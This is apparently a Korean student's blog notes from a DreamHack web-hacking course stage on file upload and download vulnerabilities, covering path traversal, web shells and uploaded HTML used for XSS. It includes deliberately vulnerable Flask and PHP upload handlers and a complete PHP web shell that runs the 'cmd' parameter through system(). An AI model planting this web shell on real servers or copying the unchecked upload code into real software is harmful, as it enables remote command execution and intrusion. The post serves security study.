[DreamHack] Stage8 - File Vulnerability

jiiihye 2023. 3. 24. 23:05

2023. 3. 24. 23:05

File Upload Vulnerability

공격자의 파일을 웹서비스 파일 시스템에 업로드하는 과정에서 발생

파일 시스템 상의 임의 경로에 원하는 파일 업로드, 악성 확장자 갖는 파일업로드 할 떄 발생

원하는 시스템 커맨드르 실행하는 원격 코드 실행 취약점을 유발

→ 이용자가 업로드 될 파일 이름을 임의로 정할 수 있을 때 발생

Path Traversal 취약점 : 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.ru

./fileUpload는 POST 요청 받으면 클라이언트가 전송한 파일을 ./uploads에 저장함.

파일이름을 f.filename으로 그대로 사용해서 취약함. 공격자가 상위 디렉토리에 파일을 업로드 할 수 있음.

악성 파일 업로드 : 이용자가 파일 업로드할때, 제대로 검사하지 않을때 발생

- 웹쉘

웹서버는 .php, .jsp, .asp와 같은 확장자 파일을 Common Gateway Interface로 실행하고 결과를 이용자에게 반환함.

<FilesMatch ".+\.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php</FilesMatch>

파일의 확장자가 정규표현식을 만족하면 x-httpd-php로 핸들링하게 하는 Apache설정파일임.

x-httpd-php는 PHP엔진이고 요청한 파일을 실행하고 그 결과를 반환함.

=> 많은 웹서버들이 php파일에 대해 위처럼 핸들링 지원 → 공격자가 임의의 php 소스 파일을 .php확장자로 업로드하고 GET요청 보낼 수 있으면 CGI에 의해 해당 코드 실행되도록 가능

- 악의적인 웹 리소스

웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리함

ex)

요청한 파일의 확장자가 .html이거나, 반환된 content-type헤더가 text/html일 경우 응답은 HTML엔진으로 처리 <..??
파일 확장자가 .png, .jpg등의 이미지 확장자, content-type이 image/png일 경우에 이미지로 렌더링됨.
공격자가 서버에 exploit.html을 업로드하고 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이면 브라우저는 html로 해석함. → exploit.html에 악의적인 스크립트 삽입시, XSS공격으로 이어질 수 있음.

File Download Vulnerability

웹 서비스의 파일 시스템에 존재하는 파일을 다운하는 과정에서 발생

공격자는 웹 서비스의 파일시스템에 존재하는 임의의 파일 다운로드 가능

설정파일, 패스워드파일, 데이터베이스 백업 본 등을 다운해서 민감한 정보 탈취, 2차 공격 수행 가능

→ 이용자가 다운로드할 파일 이름을 임의로 정할 수 있을 때 발생

image-storage

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

업로드 파일에 대해 검사하지 않음 → 웹 쉘 업로드 공격에 취약

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

'보안 > 웹해킹' 카테고리의 다른 글

[DreamHack] Stage7-Command Injection (0)	2023.03.24
[DreamHack] Stage6-SQL Injection (0)	2023.03.23
[DreamHack] Stage5-Cross Site Request Forgery (CSRF) (0)	2023.03.23
[lord of SQLinjection] troll 문제풀이 (0)	2021.08.04
[lord of SQLinjection] orge 문제풀이 (0)	2021.08.04

jiiihye